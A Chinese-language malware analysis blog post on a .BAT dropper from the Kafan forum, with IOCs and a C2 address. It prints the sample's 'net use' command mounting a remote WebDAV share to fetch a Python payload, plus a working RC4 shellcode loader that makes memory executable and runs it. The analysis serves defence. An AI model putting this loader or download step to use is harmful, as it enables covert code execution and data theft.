Post

Windows .BAT Malware Analysis

Windows .BAT Malware Analysis

本样本来自卡饭论坛(Kafan)

样本行为概述

  1. 双击执行 .BAT 文件后,调用 net 组件加载远程共享磁盘:
    1
    
    net use Z: "\\digital-childrens-junior-cure.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no
    
    • 通过 WebDAV 方式挂载远程共享盘。
  2. 下载 Python 环境和恶意载荷,释放至用户文件夹下的“联系人”目录。

  3. 下载完成后,删除挂载:
    1
    
    net use Z: /delete /yes
    
  4. 恶意载荷说明:
    • 载荷为 Python 编写,位于 jaka.zip 中的 yea.py 文件。
    • 该文件经过混淆处理。
  5. 运行python载荷,并APC注入shellcode

yea.py 主要功能分析

1. RC4 解密 Shellcode Loader

伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import ctypes, base64

def rc4_decrypt(key: bytes, data: bytes) -> bytes:
    # Key-Scheduling Algorithm (KSA)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    # Pseudo-Random Generation Algorithm (PRGA)
    i = j = 0
    out = bytearray()
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        out.append(byte ^ K)
    return bytes(out)

def load_and_execute():
    encrypted = base64.b64decode('encoded shellcode')
    key       = b"xWp0LaAO"
    shellcode = rc4_decrypt(key, encrypted)

    # Allocate and make memory executable
    buf = ctypes.create_string_buffer(shellcode)
    ctypes.windll.kernel32.VirtualProtect(
        ctypes.byref(buf),
        ctypes.sizeof(buf),
        0x40,                # PAGE_EXECUTE_READWRITE
        ctypes.byref(ctypes.c_ulong())
    )

    # Cast to function pointer and call
    fn = ctypes.cast(buf, ctypes.CFUNCTYPE(ctypes.c_void_p))
    fn()

if __name__ == "__main__":
    load_and_execute()
  • 功能说明:
    • 使用 RC4 算法和固定密钥 xWp0LaAO 解密 base64 编码的 shellcode。
    • 通过 ctypes 申请可执行内存并运行 shellcode。

2. Shellcode 溯源与分析

  • 提取 shellcode 后上传 VirusTotal,发现其由 donut 工具将 DLL/EXE 文件转换为 shellcode。
  • VirusTotal 文件哈希:7f48d92abd37c4c2d1ced2a850de9ff6a9b8f31113e1853a26c0d7968ae14573

  • 使用 GitHub 工具解密 shellcode 得到原始二进制,进一步分析发现疑似为 lazy 泄密木马 家族。

动态行为分析

  • 样本会创建一个父进程欺骗的 notepad.exe,分配内存后执行 APC 注入。
  • C2 地址:95.217.129.88:5921

总结 & MITRE ATT&CK 矩阵

  • 本次分析的 .BAT 样本通过远程挂载下载并释放 Python 恶意载荷,最终通过 RC4 解密和内存执行方式加载 shellcode MITRE ATT&CK

IOC 情报

  • 95.217.129.88:5921
  • 7f48d92abd37c4c2d1ced2a850de9ff6a9b8f31113e1853a26c0d7968ae14573
  • 0d1323d50ff0496c7ee687d65050b02de85e80b81938d7e1df204ed7320ef7c2

下载

This post is licensed under CC BY 4.0 by the author.